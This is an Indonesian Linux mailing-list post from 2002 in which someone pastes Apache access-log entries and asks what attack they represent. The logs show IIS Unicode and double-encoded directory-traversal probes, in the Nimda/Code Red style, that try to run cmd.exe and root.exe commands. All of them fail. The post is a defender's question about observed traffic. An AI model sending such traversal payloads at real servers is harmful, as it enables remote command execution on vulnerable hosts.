Ada yang tau ndak, kalau liat log di bawah, ini jenis model serangan apa? Banyak banget muncul di apache access_log :)
213.58.233.2 - - [05/Dec/2002:14:24:13 -0100] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 1049 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:33 -0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:34 -0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:34 -0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:35 -0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:36 -0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:36 -0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:37 -0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:38 -0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:39 -0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:40 -0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:41 -0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:42 -0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:42 -0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 976 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:42 -0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 976 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:43 -0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "-" 62.165.188.64 - - [05/Dec/2002:14:41:44 -0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1043 "-" "- __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com -- Utk berhenti langganan, kirim email ke [EMAIL PROTECTED] Informasi arsip di http://www.linux.or.id/milis.php3
